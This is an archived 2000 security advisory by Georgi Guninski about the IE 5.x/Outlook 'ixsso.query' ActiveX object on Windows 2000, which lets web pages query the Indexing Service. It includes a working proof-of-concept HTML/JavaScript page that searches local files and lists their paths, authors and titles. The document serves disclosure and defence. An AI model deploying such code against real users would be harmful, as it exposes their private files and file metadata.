Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:910
HistoryNov 11, 2000 - 12:00 a.m.

IE 5.x Win2000 Indexing service vulnerability

2000-11-1100:00:00
vulners.com
58

Georgi Guninski security advisory #27, 2000

IE 5.x Win2000 Indexing service vulnerability

Systems affected:
IE 5.x/Outlook/Outlook Express - Windows 2000 with Indexing service
started

Risk: Medium
Date: 10 November 2000

Legal Notice:
This Advisory is Copyright (c) 2000 Georgi Guninski. You may distribute
it unmodified. You may not modify it and distribute it or distribute
parts of it without the author's written permission.

Disclaimer:
The opinions expressed in this advisory and program are my own and not
of any company.
The usual standard disclaimer applies, especially the fact that Georgi
Guninski
is not liable for any damages caused by direct or indirect use of the
information or functionality provided by this advisory or program.
Georgi Guninski, bears no responsibility for content or misuse of this
advisory or program or any derivatives thereof.

Description:

There is a security vulnerability in IE 5.x/Outlook/Outlook on Windows
2000 with Indexing service
started (it is not started by default) which allows searching for files
with specific name (wildcards are allowed) or content.
Combined with other local file reading vulnerabilities this may be
danegorous, especially the
feature of searching for files that contain certain content.

Details:
The problem is the "ixsso.query" ActiveXObject which is used to query
the Indexing service and
surprisingly it is marked safe for scripting.

The code is:

--------indexserv1.html-------------------------------------------
<INPUT TYPE="BUTTON" VALUE="Search"
onclick="g(document.all.query.value)">
<INPUT TYPE="BUTTON" VALUE="Find *.txt files" onclick="g('@filename =
*.txt')">
<BR>
<SCRIPT>
function g(q1)
{

qu=new ActiveXObject("ixsso.query");

qu.Catalog="System";
//qu.query="@contents name";
//qu.query="#filename .htm or name near test";
//qu.query='@filename = *.doc ';
qu.query=q1;

qu.Columns="filename, path, doctitle, doccomments, docauthor, size";

rs=qu.CreateRecordset("nonsequential");
//alert("Records: "+rs.RecordCount);

doc=window.frames[0].document;
doc.writeln("SEARCH RESULTS Records: "+rs.RecordCount+"<BR>");
doc.writeln("<TABLE BORDER=2>");
doc.writeln("<TR><TD>Path</TD><TD>size</TD><TD>DocAuthor</TD><TD>DocTitle</TD></TR>");
while (!rs.EOF)
{
doc.writeln("<TR><TD><A TARGET='_blank'
HREF='file://"+rs("Path")+"'</A>"+rs("Path")+"</TD><TD>"+rs("size")+"</TD><TD>"+rs("DocAuthor")+"</TD><TD>"+rs("DocTitle")+"</TD></TR>");
rs.MoveNext();
}
doc.writeln("</TABLE>");

}
//setTimeout("g()",1000);
</SCRIPT>

<IFRAME WIDTH=700 HEIGHT=400 SRC="about:blank"></IFRAME>

Workaround:
Disable Active Scripitng or Indexing service

Demonstration is available at:
http://www.guninski.com/indexserv1.html

Vendor status:
Microsoft was contacted on 6 November

Regards,
Georgi Guninski
http://www.guninski.com